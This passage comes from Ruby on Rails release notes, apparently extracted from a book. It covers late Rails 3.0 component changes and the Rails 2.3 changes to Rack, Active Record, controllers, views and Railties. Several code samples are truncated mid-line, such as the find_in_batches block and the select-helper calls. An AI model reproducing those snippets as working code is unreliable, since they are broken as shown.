edge for some months now, it has been removed from the Rails 3.0 release.

10 Active Resource
Active Resource was also extracted out to Active Model allowing you to
use Active Resource objects with Action Pack seamlessly.
Added validations through Active Model.
Added observing hooks.
HTTP proxy support.
Added support for digest authentication.
Moved model naming into Active Model.
Changed Active Resource attributes to a Hash with indifferent access.
Added first, last and all aliases for equivalent find scopes.
find_every now does not return a ResourceNotFound error if nothing
returned.
Added save! which raises ResourceInvalid unless the object is
valid?.
update_attribute and update_attributes added to Active
Resource models.
Added exists?.
Renamed SchemaDefinition to Schema and define_schema to
schema.
Use the format of Active Resources rather than the content-type of
remote errors to load errors.
Use instance_eval for schema block.
Fix ActiveResource::ConnectionError#to_s when @response does
not respond to #code or #message, handles Ruby 1.9 compatibility.
Add support for errors in JSON format.
Ensure load works with numeric arrays.
Recognizes a 410 response from remote resource as the resource has
been deleted.
Add ability to set SSL options on Active Resource connections.
Setting connection timeout also affects Net::HTTP open_timeout.
Deprecations:

save(false) is deprecated, in favor of save(:validate => false).

Ruby 1.9.2: URI.parse and .decode are deprecated and are no longer

used in the library.

11 Active Support
A large effort was made in Active Support to make it cherry pickable, that
is, you no longer have to require the entire Active Support library to get
pieces of it. This allows the various core components of Rails to run
slimmer.
These are the main changes in Active Support:
Large clean up of the library removing unused methods throughout.
Active Support no longer provides vendored versions of TZInfo,
Memcache Client and Builder. These are all included as dependencies
and installed via the bundle install command.
Safe buffers are implemented in ActiveSupport::SafeBuffer.
Added Array.uniq_by and Array.uniq_by!.
Removed Array#rand and backported Array#sample from Ruby 1.9.
Fixed bug on TimeZone.seconds_to_utc_offset returning wrong
value.
Added ActiveSupport::Notifications middleware.
ActiveSupport.use_standard_json_time_format now defaults to
true.
ActiveSupport.escape_html_entities_in_json now defaults to
false.
Integer#multiple_of? accepts zero as an argument, returns false
unless the receiver is zero.
string.chars has been renamed to string.mb_chars.
ActiveSupport::OrderedHash now can de-serialize through YAML.
Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
Added Object#presence that returns the object if it's #present?
otherwise returns nil.
Added String#exclude? core extension that returns the inverse of
#include?.
Added to_i to DateTime in ActiveSupport so to_yaml works
correctly on models with DateTime attributes.

Added Enumerable#exclude? to bring parity to

Enumerable#include? and avoid if !x.include?.
Switch to on-by-default XSS escaping for rails.
Support deep-merging in
ActiveSupport::HashWithIndifferentAccess.
Enumerable#sum now works will all enumerables, even if they don't
respond to :size.
inspect on a zero length duration returns '0 seconds' instead of empty
string.
Add element and collection to ModelName.
String#to_time and String#to_datetime handle fractional seconds.
Added support to new callbacks for around filter object that respond
to :before and :after used in before and after callbacks.
The ActiveSupport::OrderedHash#to_a method returns an ordered
set of arrays. Matches Ruby 1.9's Hash#to_a.
MissingSourceFile exists as a constant but it is now just equal to
LoadError.
Added Class#class_attribute, to be able to declare a class-level
attribute whose value is inheritable and overwritable by subclasses.
Finally removed DeprecatedCallbacks in
ActiveRecord::Associations.
Object#metaclass is now Kernel#singleton_class to match Ruby.
The following methods have been removed because they are now available
in Ruby 1.8.7 and 1.9.
Integer#even? and Integer#odd?
String#each_char
String#start_with? and String#end_with? (3rd person aliases still

kept)
String#bytesize
Object#tap
Symbol#to_proc
Object#instance_variable_defined?

Enumerable#none?

The security patch for REXML remains in Active Support because early
patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it
has to apply it or not.
The following methods have been removed because they are no longer
used in the framework:
Kernel#daemonize
Object#remove_subclasses_of
Object#extend_with_included_modules_from,
Object#extended_by
Class#remove_class
Regexp#number_of_captures, Regexp.unoptionalize,
Regexp.optionalize, Regexp#number_of_captures

12 Action Mailer
Action Mailer has been given a new API with TMail being replaced out
with the new Mail as the email library. Action Mailer itself has been given
an almost complete re-write with pretty much every line of code touched.
The result is that Action Mailer now simply inherits from Abstract
Controller and wraps the Mail gem in a Rails DSL. This reduces the
amount of code and duplication of other libraries in Action Mailer
considerably.
All mailers are now in app/mailers by default.
Can now send email using new API with three methods:
attachments, headers and mail.
Action Mailer now has native support for inline attachments using the
attachments.inline method.
Action Mailer emailing methods now return Mail::Message objects,
which can then be sent the deliver message to send itself.
All delivery methods are now abstracted out to the Mail gem.
The mail delivery method can accept a hash of all valid mail header
fields with their value pair.
The mail delivery method acts in a similar way to Action Controller's
respond_to, and you can explicitly or implicitly render templates.
Action Mailer will turn the email into a multipart email as needed.
You can pass a proc to the format.mime_type calls within the mail
block and explicitly render specific types of text, or add layouts or
different templates. The render call inside the proc is from Abstract
Controller and supports the same options.
What were mailer unit tests have been moved to functional tests.
Action Mailer now delegates all auto encoding of header fields and
bodies to Mail Gem
Action Mailer will auto encode email bodies and headers for you
Deprecations:

:charset, :content_type, :mime_version, :implicit_parts_order

are all deprecated in favor of ActionMailer.default :key => value

style declarations.
Mailer dynamic create_method_name and deliver_method_name are
deprecated, just call method_name which now returns a
Mail::Message object.
ActionMailer.deliver(message) is deprecated, just call
message.deliver.
template_root is deprecated, pass options to a render call inside a
proc from the format.mime_type method inside the mail generation
block
The body method to define instance variables is deprecated (body
{:ivar => value}), just declare instance variables in the method
directly and they will be available in the view.
Mailers being in app/models is deprecated, use app/mailers instead.
More Information:
New Action Mailer API in Rails 3
New Mail Gem for Ruby

13 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails 3. Kudos to all of them.
Rails 3.0 Release Notes were compiled by Mikel Lindsaar.

Ruby on Rails 2.3 Release Notes

Ruby...

1 Application Architecture
There are two major changes in the architecture of Rails applications:
complete integration of the Rack modular web server interface, and
renewed support for Rails Engines.
1.1 Rack Integration
Rails has now broken with its CGI past, and uses Rack everywhere. This
required and resulted in a tremendous number of internal changes (but if
you use CGI, don't worry; Rails now supports CGI through a proxy
interface.) Still, this is a major change to Rails internals. After upgrading
to 2.3, you should test on your local environment and your production
environment. Some things to test:
Sessions
Cookies
File uploads
JSON/XML APIs
Here's a summary of the rack-related changes:
script/server has been switched to use Rack, which means it
supports any Rack compatible server. script/server will also pick

up a rackup configuration file if one exists. By default, it will look for

a config.ru file, but you can override this with the -c switch.
The FCGI handler goes through Rack.
ActionController::Dispatcher maintains its own default
middleware stack. Middlewares can be injected in, reordered, and
removed. The stack is compiled into a chain on boot. You can
configure the middleware stack in environment.rb.
The rake middleware task has been added to inspect the middleware
stack. This is useful for debugging the order of the middleware stack.
The integration test runner has been modified to execute the entire

middleware and application stack. This makes integration tests

perfect for testing Rack middleware.
ActionController::CGIHandler is a backwards compatible CGI
wrapper around Rack. The CGIHandler is meant to take an old CGI
object and convert its environment information into a Rack
compatible form.
CgiRequest and CgiResponse have been removed.
Session stores are now lazy loaded. If you never access the session
object during a request, it will never attempt to load the session data
(parse the cookie, load the data from memcache, or lookup an Active
Record object).
You no longer need to use CGI::Cookie.new in your tests for setting
a cookie value. Assigning a String value to request.cookies["foo"]
now sets the cookie as expected.
CGI::Session::CookieStore has been replaced by
ActionController::Session::CookieStore.
CGI::Session::MemCacheStore has been replaced by
ActionController::Session::MemCacheStore.
CGI::Session::ActiveRecordStore has been replaced by
ActiveRecord::SessionStore.
You can still change your session store with
ActionController::Base.session_store =
:active_record_store.

Default sessions options are still set with

ActionController::Base.session = { :key => "..." }.
However, the :session_domain option has been renamed to :domain.

The mutex that normally wraps your entire request has been moved
into middleware, ActionController::Lock.
ActionController::AbstractRequest and
ActionController::Request have been unified. The new
ActionController::Request inherits from Rack::Request. This
affects access to response.headers['type'] in test requests. Use
response.content_type instead.
ActiveRecord::QueryCache middleware is automatically inserted

onto the middleware stack if ActiveRecord has been loaded. This

middleware sets up and flushes the per-request Active Record query
cache.
The Rails router and controller classes follow the Rack spec. You can
call a controller directly with SomeController.call(env). The router
stores the routing parameters in rack.routing_args.
ActionController::Request inherits from Rack::Request.
Instead of config.action_controller.session = { :session_key
=> 'foo', ... use config.action_controller.session = { :key
=> 'foo', ....
Using the ParamsParser middleware preprocesses any XML, JSON,
or YAML requests so they can be read normally with any
Rack::Request object after it.
1.2 Renewed Support for Rails Engines
After some versions without an upgrade, Rails 2.3 offers some new
features for Rails Engines (Rails applications that can be embedded within
other applications). First, routing files in engines are automatically loaded
and reloaded now, just like your routes.rb file (this also applies to
routing files in other plugins). Second, if your plugin has an app folder,
then app/[models|controllers|helpers] will automatically be added to the
Rails load path. Engines also support adding view paths now, and Action
Mailer as well as Action View will use views from engines and other
plugins.

2 Documentation
The Ruby on Rails guides project has published several additional guides
for Rails 2.3. In addition, a separate site maintains updated copies of the
Guides for Edge Rails. Other documentation efforts include a relaunch of
the Rails wiki and early planning for a Rails Book.
More Information: Rails Documentation Projects

3 Ruby 1.9.1 Support

Rails 2.3 should pass all of its own tests whether you are running on Ruby
1.8 or the now-released Ruby 1.9.1. You should be aware, though, that
moving to 1.9.1 entails checking all of the data adapters, plugins, and other
code that you depend on for Ruby 1.9.1 compatibility, as well as Rails
core.

4 Active Record
Active Record gets quite a number of new features and bug fixes in Rails
2.3. The highlights include nested attributes, nested transactions, dynamic
and default scopes, and batch processing.
4.1 Nested Attributes
Active Record can now update the attributes on nested models directly,
provided you tell it to do so:
class Book < ActiveRecord::Base
has_one :author
has_many :pages
accepts_nested_attributes_for :author, :pages
end

Turning on nested attributes enables a number of things: automatic (and

atomic) saving of a record together with its associated children, childaware validations, and support for nested forms (discussed later).
You can also specify requirements for any new records that are added via
nested attributes using the :reject_if option:
accepts_nested_attributes_for :author,
:reject_if => proc { |attributes| attributes['name'].blank? }

Lead Contributor: Eloy Duran

More Information: Nested Model Forms
4.2 Nested Transactions
Active Record now supports nested transactions, a much-requested feature.

Now you can write code like this:

User.transaction do
User.create(:username => 'Admin')
User.transaction(:requires_new => true) do
User.create(:username => 'Regular')
raise ActiveRecord::Rollback
end
end
User.find(:all) # => Returns only Admin

Nested transactions let you roll back an inner transaction without affecting
the state of the outer transaction. If you want a transaction to be nested,
you must explicitly add the :requires_new option; otherwise, a nested
transaction simply becomes part of the parent transaction (as it does
currently on Rails 2.2). Under the covers, nested transactions are using
savepoints so they're supported even on databases that don't have true
nested transactions. There is also a bit of magic going on to make these
transactions play well with transactional fixtures during testing.
Lead Contributors: Jonathan Viney and Hongli Lai
4.3 Dynamic Scopes
You know about dynamic finders in Rails (which allow you to concoct
methods like find_by_color_and_flavor on the fly) and named scopes
(which allow you to encapsulate reusable query conditions into friendly
names like currently_active). Well, now you can have dynamic scope
methods. The idea is to put together syntax that allows filtering on the fly
and method chaining. For example:
Order.scoped_by_customer_id(12)
Order.scoped_by_customer_id(12).find(:all,
:conditions => "status = 'open'")
Order.scoped_by_customer_id(12).scoped_by_status("open")

There's nothing to define to use dynamic scopes: they just work.

Lead Contributor: Yaroslav Markin
More Information: What's New in Edge Rails: Dynamic Scope
Methods
4.4 Default Scopes
Rails 2.3 will introduce the notion of default scopes similar to named
scopes, but applying to all named scopes or find methods within the
model. For example, you can write default_scope :order => 'name
ASC' and any time you retrieve records from that model they'll come out
sorted by name (unless you override the option, of course).
Lead Contributor: Pawe Kondzior
More Information: What's New in Edge Rails: Default Scoping
4.5 Batch Processing
You can now process large numbers of records from an Active Record
model with less pressure on memory by using find_in_batches:

Customer.find_in_batches(:conditions => {:active => true}) do |c

customer_group.each { |customer| customer.update_account_balan
end

You can pass most of the find options into find_in_batches. However,
you cannot specify the order that records will be returned in (they will
always be returned in ascending order of primary key, which must be an
integer), or use the :limit option. Instead, use the :batch_size option,
which defaults to 1000, to set the number of records that will be returned
in each batch.

The new find_each method provides a wrapper around find_in_batches

that returns individual records, with the find itself being done in batches
(of 1000 by default):
Customer.find_each do |customer|
customer.update_account_balance!
end

Note that you should only use this method for batch processing: for small
numbers of records (less than 1000), you should just use the regular find
methods with your own loop.
More Information (at that point the convenience method was called
just each):
Rails 2.3: Batch Finding
What's New in Edge Rails: Batched Find
4.6 Multiple Conditions for Callbacks
When using Active Record callbacks, you can now combine :if and
:unless options on the same callback, and supply multiple conditions as
an array:
before_save :update_credit_rating, :if => :active,
:unless => [:admin, :cash_only]

Lead Contributor: L. Caviola

4.7 Find with having
Rails now has a :having option on find (as well as on has_many and
has_and_belongs_to_many associations) for filtering records in grouped
finds. As those with heavy SQL backgrounds know, this allows filtering
based on grouped results:

developers = Developer.find(:all, :group => "salary",

:having => "sum(salary) > 10000", :select => "salary")

Lead Contributor: Emilio Tagua

4.8 Reconnecting MySQL Connections
MySQL supports a reconnect flag in its connections - if set to true, then
the client will try reconnecting to the server before giving up in case of a
lost connection. You can now set reconnect = true for your MySQL
connections in database.yml to get this behavior from a Rails application.
The default is false, so the behavior of existing applications doesn't
change.
Lead Contributor: Dov Murik
More information:
Controlling Automatic Reconnection Behavior
MySQL auto-reconnect revisited
4.9 Other Active Record Changes
An extra AS was removed from the generated SQL for
has_and_belongs_to_many preloading, making it work better for
some databases.
ActiveRecord::Base#new_record? now returns false rather than
nil when confronted with an existing record.
A bug in quoting table names in some has_many :through
associations was fixed.
You can now specify a particular timestamp for updated_at
timestamps: cust = Customer.create(:name => "ABC
Industries", :updated_at => 1.day.ago)
Better error messages on failed find_by_attribute! calls.
Active Record's to_xml support gets just a little bit more flexible with

the addition of a :camelize option.

A bug in canceling callbacks from before_update or before_create
was fixed.
Rake tasks for testing databases via JDBC have been added.
validates_length_of will use a custom error message with the :in
or :within options (if one is supplied).
Counts on scoped selects now work properly, so you can do things
like Account.scoped(:select => "DISTINCT
credit_limit").count.
ActiveRecord::Base#invalid? now works as the opposite of
ActiveRecord::Base#valid?.

5 Action Controller
Action Controller rolls out some significant changes to rendering, as well
as improvements in routing and other areas, in this release.
5.1 Unified Rendering
ActionController::Base#render is a lot smarter about deciding what to

render. Now you can just tell it what to render and expect to get the right
results. In older versions of Rails, you often need to supply explicit
information to render:
render :file => '/tmp/random_file.erb'
render :template => 'other_controller/action'
render :action => 'show'

Now in Rails 2.3, you can just supply what you want to render:
render '/tmp/random_file.erb'
render 'other_controller/action'
render 'show'
render :show

Rails chooses between file, template, and action depending on whether

there is a leading slash, an embedded slash, or no slash at all in what's to
be rendered. Note that you can also use a symbol instead of a string when
rendering an action. Other rendering styles (:inline, :text, :update,
:nothing, :json, :xml, :js) still require an explicit option.
5.2 Application Controller Renamed
If you're one of the people who has always been bothered by the specialcase naming of application.rb, rejoice! It's been reworked to be
application_controller.rb in Rails 2.3. In addition, there's a new rake task,

rake rails:update:application_controller to do this automatically

for you - and it will be run as part of the normal rake rails:update

process.
More Information:
The Death of Application.rb
What's New in Edge Rails: Application.rb Duality is no More
5.3 HTTP Digest Authentication Support
Rails now has built-in support for HTTP digest authentication. To use it,
you call authenticate_or_request_with_http_digest with a block that
returns the user's password (which is then hashed and compared against
the transmitted credentials):
class PostsController < ApplicationController
Users = {"dhh" => "secret"}
before_filter :authenticate
def secret
render :text => "Password Required!"
end
private
def authenticate
realm = "Application"
authenticate_or_request_with_http_digest(realm) do |name|
Users[name]
end
end
end

Lead Contributor: Gregg Kellogg

More Information: What's New in Edge Rails: HTTP Digest
Authentication
5.4 More Efficient Routing

There are a couple of significant routing changes in Rails 2.3. The

formatted_ route helpers are gone, in favor just passing in :format as an
option. This cuts down the route generation process by 50% for any
resource - and can save a substantial amount of memory (up to 100MB on
large applications). If your code uses the formatted_ helpers, it will still
work for the time being - but that behavior is deprecated and your
application will be more efficient if you rewrite those routes using the new
standard. Another big change is that Rails now supports multiple routing
files, not just routes.rb. You can use
RouteSet#add_configuration_file to bring in more routes at any time without clearing the currently-loaded routes. While this change is most
useful for Engines, you can use it in any application that needs to load
routes in batches.
Lead Contributors: Aaron Batalion
5.5 Rack-based Lazy-loaded Sessions
A big change pushed the underpinnings of Action Controller session
storage down to the Rack level. This involved a good deal of work in the
code, though it should be completely transparent to your Rails applications
(as a bonus, some icky patches around the old CGI session handler got
removed). It's still significant, though, for one simple reason: non-Rails
Rack applications have access to the same session storage handlers (and
therefore the same session) as your Rails applications. In addition, sessions
are now lazy-loaded (in line with the loading improvements to the rest of
the framework). This means that you no longer need to explicitly disable
sessions if you don't want them; just don't refer to them and they won't
load.
5.6 MIME Type Handling Changes
There are a couple of changes to the code for handling MIME types in
Rails. First, MIME::Type now implements the =~ operator, making things

much cleaner when you need to check for the presence of a type that has
synonyms:
if content_type && Mime::JS =~ content_type
# do something cool
end
Mime::JS =~ "text/javascript" => true
Mime::JS =~ "application/javascript" => true

The other change is that the framework now uses the Mime::JS when
checking for JavaScript in various spots, making it handle those
alternatives cleanly.
Lead Contributor: Seth Fitzsimmons
5.7 Optimization of respond_to
In some of the first fruits of the Rails-Merb team merger, Rails 2.3
includes some optimizations for the respond_to method, which is of
course heavily used in many Rails applications to allow your controller to
format results differently based on the MIME type of the incoming
request. After eliminating a call to method_missing and some profiling
and tweaking, we're seeing an 8% improvement in the number of requests
per second served with a simple respond_to that switches between three
formats. The best part? No change at all required to the code of your
application to take advantage of this speedup.
5.8 Improved Caching Performance
Rails now keeps a per-request local cache of read from the remote cache
stores, cutting down on unnecessary reads and leading to better site
performance. While this work was originally limited to MemCacheStore, it
is available to any remote store than implements the required methods.

Lead Contributor: Nahum Wild

5.9 Localized Views
Rails can now provide localized views, depending on the locale that you
have set. For example, suppose you have a Posts controller with a show
action. By default, this will render app/views/posts/show.html.erb. But
if you set I18n.locale = :da, it will render
app/views/posts/show.da.html.erb. If the localized template isn't
present, the undecorated version will be used. Rails also includes
I18n#available_locales and
I18n::SimpleBackend#available_locales, which return an array of the
translations that are available in the current Rails project.
In addition, you can use the same scheme to localize the rescue files in the
public directory: public/500.da.html or public/404.en.html work, for
example.
5.10 Partial Scoping for Translations
A change to the translation API makes things easier and less repetitive to
write key translations within partials. If you call translate(".foo") from
the people/index.html.erb template, you'll actually be calling
I18n.translate("people.index.foo") If you don't prepend the key with
a period, then the API doesn't scope, just as before.
5.11 Other Action Controller Changes
ETag handling has been cleaned up a bit: Rails will now skip sending
an ETag header when there's no body to the response or when
sending files with send_file.
The fact that Rails checks for IP spoofing can be a nuisance for sites
that do heavy traffic with cell phones, because their proxies don't
generally set things up right. If that's you, you can now set

ActionController::Base.ip_spoofing_check = false to disable

the check entirely.

ActionController::Dispatcher now implements its own
middleware stack, which you can see by running rake middleware.

Cookie sessions now have persistent session identifiers, with API

compatibility with the server-side stores.
You can now use symbols for the :type option of send_file and
send_data, like this: send_file("fabulous.png", :type => :png).
The :only and :except options for map.resources are no longer
inherited by nested resources.
The bundled memcached client has been updated to version 1.6.4.99.
The expires_in, stale?, and fresh_when methods now accept a
:public option to make them work well with proxy caching.
The :requirements option now works properly with additional
RESTful member routes.
Shallow routes now properly respect namespaces.
polymorphic_url does a better job of handling objects with irregular
plural names.

6 Action View
Action View in Rails 2.3 picks up nested model forms, improvements to
render, more flexible prompts for the date select helpers, and a speedup in
asset caching, among other things.
6.1 Nested Object Forms
Provided the parent model accepts nested attributes for the child objects
(as discussed in the Active Record section), you can create nested forms
using form_for and field_for. These forms can be nested arbitrarily
deep, allowing you to edit complex object hierarchies on a single view
without excessive code. For example, given this model:
class Customer < ActiveRecord::Base
has_many :orders
accepts_nested_attributes_for :orders, :allow_destroy => true
end

You can write this view in Rails 2.3:

<% form_for @customer do |customer_form| %>
<div>
<%= customer_form.label :name, 'Customer Name:' %>
<%= customer_form.text_field :name %>
</div>

<!-- Here we call fields_for on the customer_form builder inst

The block is called for each member of the orders collection.
<% customer_form.fields_for :orders do |order_form| %>
<p>
<div>
<%= order_form.label :number, 'Order Number:' %>
<%= order_form.text_field :number %>
</div>

<!-- The allow_destroy option in the model enables deletion of

child records. -->
<% unless order_form.object.new_record? %>
<div>
<%= order_form.label :_delete, 'Remove:' %>
<%= order_form.check_box :_delete %>
</div>
<% end %>
</p>
<% end %>
<%= customer_form.submit %>
<% end %>

Lead Contributor: Eloy Duran

More Information:
Nested Model Forms
complex-form-examples
What's New in Edge Rails: Nested Object Forms
6.2 Smart Rendering of Partials
The render method has been getting smarter over the years, and it's even
smarter now. If you have an object or a collection and an appropriate
partial, and the naming matches up, you can now just render the object and
things will work. For example, in Rails 2.3, these render calls will work in
your view (assuming sensible naming):
# Equivalent of render :partial => 'articles/_article',
# :object => @article
render @article
# Equivalent of render :partial => 'articles/_article',
# :collection => @articles
render @articles

More Information: What's New in Edge Rails: render Stops Being

High-Maintenance
6.3 Prompts for Date Select Helpers
In Rails 2.3, you can supply custom prompts for the various date select
helpers (date_select, time_select, and datetime_select), the same
way you can with collection select helpers. You can supply a prompt string
or a hash of individual prompt strings for the various components. You can
also just set :prompt to true to use the custom generic prompt:
select_datetime(DateTime.now, :prompt => true)

select_datetime(DateTime.now, :prompt => "Choose date and time")

select_datetime(DateTime.now, :prompt =>
{:day => 'Choose day', :month => 'Choose month',
:year => 'Choose year', :hour => 'Choose hour',
:minute => 'Choose minute'})

Lead Contributor: Sam Oliver

6.4 AssetTag Timestamp Caching
You're likely familiar with Rails' practice of adding timestamps to static
asset paths as a "cache buster." This helps ensure that stale copies of things
like images and stylesheets don't get served out of the user's browser cache
when you change them on the server. You can now modify this behavior
with the cache_asset_timestamps configuration option for Action View.
If you enable the cache, then Rails will calculate the timestamp once when
it first serves an asset, and save that value. This means fewer (expensive)
file system calls to serve static assets - but it also means that you can't
modify any of the assets while the server is running and expect the
changes to get picked up by clients.
6.5 Asset Hosts as Objects

Asset hosts get more flexible in edge Rails with the ability to declare an
asset host as a specific object that responds to a call. This allows you to
implement any complex logic you need in your asset hosting.
More Information: asset-hosting-with-minimum-ssl
6.6 grouped_options_for_select Helper Method
Action View already had a bunch of helpers to aid in generating select
controls, but now there's one more: grouped_options_for_select. This
one accepts an array or hash of strings, and converts them into a string of
option tags wrapped with optgroup tags. For example:

grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat

"Cowboy Hat", "Choose a product...")

returns

<option value="">Choose a product...</option>

<optgroup label="Hats">
<option value="Baseball Cap">Baseball Cap</option>
<option selected="selected" value="Cowboy Hat">Cowboy Hat</opt
</optgroup>

6.7 Disabled Option Tags for Form Select Helpers

The form select helpers (such as select and options_for_select) now
support a :disabled option, which can take a single value or an array of
values to be disabled in the resulting tags:

select(:post, :category, Post::CATEGORIES, :disabled => 'private

returns

<select name="post[category]">
<option>story</option>
<option>joke</option>
<option>poem</option>
<option disabled="disabled">private</option>
</select>

You can also use an anonymous function to determine at runtime which

options from collections will be selected and/or disabled:

options_from_collection_for_select(@product.sizes, :name, :id, :

Lead Contributor: Tekin Suleyman

More Information: New in rails 2.3 - disabled option tags and
lambdas for selecting and disabling options from collections
6.8 A Note About Template Loading
Rails 2.3 includes the ability to enable or disable cached templates for any
particular environment. Cached templates give you a speed boost because
they don't check for a new template file when they're rendered - but they
also mean that you can't replace a template "on the fly" without restarting
the server.
In most cases, you'll want template caching to be turned on in production,
which you can do by making a setting in your production.rb file:
config.action_view.cache_template_loading = true

This line will be generated for you by default in a new Rails 2.3
application. If you've upgraded from an older version of Rails, Rails will
default to caching templates in production and test but not in development.
6.9 Other Action View Changes

Token generation for CSRF protection has been simplified; now Rails
uses a simple random string generated by
ActiveSupport::SecureRandom rather than mucking around with
session IDs.
auto_link now properly applies options (such as :target and
:class) to generated e-mail links.
The autolink helper has been refactored to make it a bit less messy
and more intuitive.
current_page? now works properly even when there are multiple
query parameters in the URL.

7 Active Support
Active Support has a few interesting changes, including the introduction of
Object#try.
7.1 Object#try
A lot of folks have adopted the notion of using try() to attempt operations
on objects. It's especially helpful in views where you can avoid nilchecking by writing code like <%= @person.try(:name) %>. Well, now
it's baked right into Rails. As implemented in Rails, it raises
NoMethodError on private methods and always returns nil if the object is
nil.
More Information: try()
7.2 Object#tap Backport
Object#tap is an addition to Ruby 1.9 and 1.8.7 that is similar to the
returning method that Rails has had for a while: it yields to a block, and

then returns the object that was yielded. Rails now includes code to make
this available under older versions of Ruby as well.
7.3 Swappable Parsers for XMLmini
The support for XML parsing in Active Support has been made more
flexible by allowing you to swap in different parsers. By default, it uses
the standard REXML implementation, but you can easily specify the faster
LibXML or Nokogiri implementations for your own applications, provided
you have the appropriate gems installed:
XmlMini.backend = 'LibXML'

Lead Contributor: Bart ten Brinke

Lead Contributor: Aaron Patterson
7.4 Fractional seconds for TimeWithZone
The Time and TimeWithZone classes include an xmlschema method to
return the time in an XML-friendly string. As of Rails 2.3, TimeWithZone
supports the same argument for specifying the number of digits in the
fractional second part of the returned string that Time does:
>> Time.zone.now.xmlschema(6)
=> "2009-01-16T13:00:06.13653Z"

Lead Contributor: Nicholas Dainty

7.5 JSON Key Quoting
If you look up the spec on the "json.org" site, you'll discover that all keys
in a JSON structure must be strings, and they must be quoted with double
quotes. Starting with Rails 2.3, we do the right thing here, even with
numeric keys.
7.6 Other Active Support Changes
You can use Enumerable#none? to check that none of the elements
match the supplied block.
If you're using Active Support delegates the new :allow_nil option
lets you return nil instead of raising an exception when the target
object is nil.
ActiveSupport::OrderedHash: now implements each_key and
each_value.
ActiveSupport::MessageEncryptor provides a simple way to
encrypt information for storage in an untrusted location (like

cookies).
Active Support's from_xml no longer depends on XmlSimple. Instead,
Rails now includes its own XmlMini implementation, with just the
functionality that it requires. This lets Rails dispense with the bundled
copy of XmlSimple that it's been carting around.
If you memoize a private method, the result will now be private.
String#parameterize accepts an optional separator: "Quick Brown
Fox".parameterize('_') => "quick_brown_fox".
number_to_phone accepts 7-digit phone numbers now.
ActiveSupport::Json.decode now handles \u0000 style escape
sequences.

8 Railties
In addition to the Rack changes covered above, Railties (the core code of
Rails itself) sports a number of significant changes, including Rails Metal,
application templates, and quiet backtraces.
8.1 Rails Metal
Rails Metal is a new mechanism that provides superfast endpoints inside
of your Rails applications. Metal classes bypass routing and Action
Controller to give you raw speed (at the cost of all the things in Action
Controller, of course). This builds on all of the recent foundation work to
make Rails a Rack application with an exposed middleware stack. Metal
endpoints can be loaded from your application or from plugins.
More Information:
Introducing Rails Metal
Rails Metal: a micro-framework with the power of Rails
Metal: Super-fast Endpoints within your Rails Apps
What's New in Edge Rails: Rails Metal
8.2 Application Templates
Rails 2.3 incorporates Jeremy McAnally's rg application generator. What
this means is that we now have template-based application generation built
right into Rails; if you have a set of plugins you include in every
application (among many other use cases), you can just set up a template
once and use it over and over again when you run the rails command.
There's also a rake task to apply a template to an existing application:
rake rails:template LOCATION=~/template.rb

This will layer the changes from the template on top of whatever code the

project already contains.

Lead Contributor: Jeremy McAnally
More Info:Rails templates
8.3 Quieter Backtraces
Building on thoughtbot's Quiet Backtrace plugin, which allows you to
selectively remove lines from Test::Unit backtraces, Rails 2.3
implements ActiveSupport::BacktraceCleaner and
Rails::BacktraceCleaner in core. This supports both filters (to perform
regex-based substitutions on backtrace lines) and silencers (to remove
backtrace lines entirely). Rails automatically adds silencers to get rid of the
most common noise in a new application, and builds a
config/backtrace_silencers.rb file to hold your own additions. This
feature also enables prettier printing from any gem in the backtrace.
8.4 Faster Boot Time in Development Mode with Lazy
Loading/Autoload
Quite a bit of work was done to make sure that bits of Rails (and its
dependencies) are only brought into memory when they're actually needed.
The core frameworks - Active Support, Active Record, Action Controller,
Action Mailer and Action View - are now using autoload to lazy-load
their individual classes. This work should help keep the memory footprint
down and improve overall Rails performance.
You can also specify (by using the new preload_frameworks option)
whether the core libraries should be autoloaded at startup. This defaults to
false so that Rails autoloads itself piece-by-piece, but there are some
circumstances where you still need to bring in everything at once Passenger and JRuby both want to see all of Rails loaded together.
8.5 rake gem Task Rewrite

The internals of the various rake gem tasks have been substantially
revised, to make the system work better for a variety of cases. The gem
system now knows the difference between development and runtime
dependencies, has a more robust unpacking system, gives better
information when querying for the status of gems, and is less prone to
"chicken and egg" dependency issues when you're bringing things up from
scratch. There are also fixes for using gem commands under JRuby and for
dependencies that try to bring in external copies of gems that are already
vendored.
Lead Contributor: David Dollar
8.6 Other Railties Changes
The instructions for updating a CI server to build Rails have been
updated and expanded.
Internal Rails testing has been switched from Test::Unit::TestCase
to ActiveSupport::TestCase, and the Rails core requires Mocha to
test.
The default environment.rb file has been decluttered.
The dbconsole script now lets you use an all-numeric password
without crashing.
Rails.root now returns a Pathname object, which means you can use
it directly with the join method to clean up existing code that uses
File.join.
Various files in /public that deal with CGI and FCGI dispatching are
no longer generated in every Rails application by default (you can
still get them if you need them by adding --with-dispatchers when
you run the rails command, or add them later with rake
rails:update:generate_dispatchers).
Rails Guides have been converted from AsciiDoc to Textile markup.
Scaffolded views and controllers have been cleaned up a bit.
script/server now accepts a --path argument to mount a Rails
application from a specific path.

If any configured gems are missing, the gem rake tasks will skip
loading much of the environment. This should solve many of the
"chicken-and-egg" problems where rake gems:install couldn't run
because gems were missing.
Gems are now unpacked exactly once. This fixes issues with gems
(hoe, for instance) which are packed with read-only permissions on
the files.

9 Deprecated
A few pieces of older code are deprecated in this release:
If you're one of the (fairly rare) Rails developers who deploys in a
fashion that depends on the inspector, reaper, and spawner scripts,
you'll need to know that those scripts are no longer included in core
Rails. If you need them, you'll be able to pick up copies via the
irs_process_scripts plugin.
render_component goes from "deprecated" to "nonexistent" in Rails
2.3. If you still need it, you can install the render_component plugin.
Support for Rails components has been removed.
If you were one of the people who got used to running
script/performance/request to look at performance based on
integration tests, you need to learn a new trick: that script has been
removed from core Rails now. There's a new request_profiler plugin
that you can install to get the exact same functionality back.
ActionController::Base#session_enabled? is deprecated because
sessions are lazy-loaded now.
The :digest and :secret options to protect_from_forgery are
deprecated and have no effect.
Some integration test helpers have been removed.
response.headers["Status"] and headers["Status"] will no
longer return anything. Rack does not allow "Status" in its return
headers. However you can still use the status and status_message
helpers. response.headers["cookie"] and headers["cookie"] will
no longer return any CGI cookies. You can inspect headers["SetCookie"] to see the raw cookie header or use the cookies helper to
get a hash of the cookies sent to the client.
formatted_polymorphic_url is deprecated. Use polymorphic_url
with :format instead.
The :http_only option in
ActionController::Response#set_cookie has been renamed to

:httponly.
The :connector and :skip_last_comma options of to_sentence
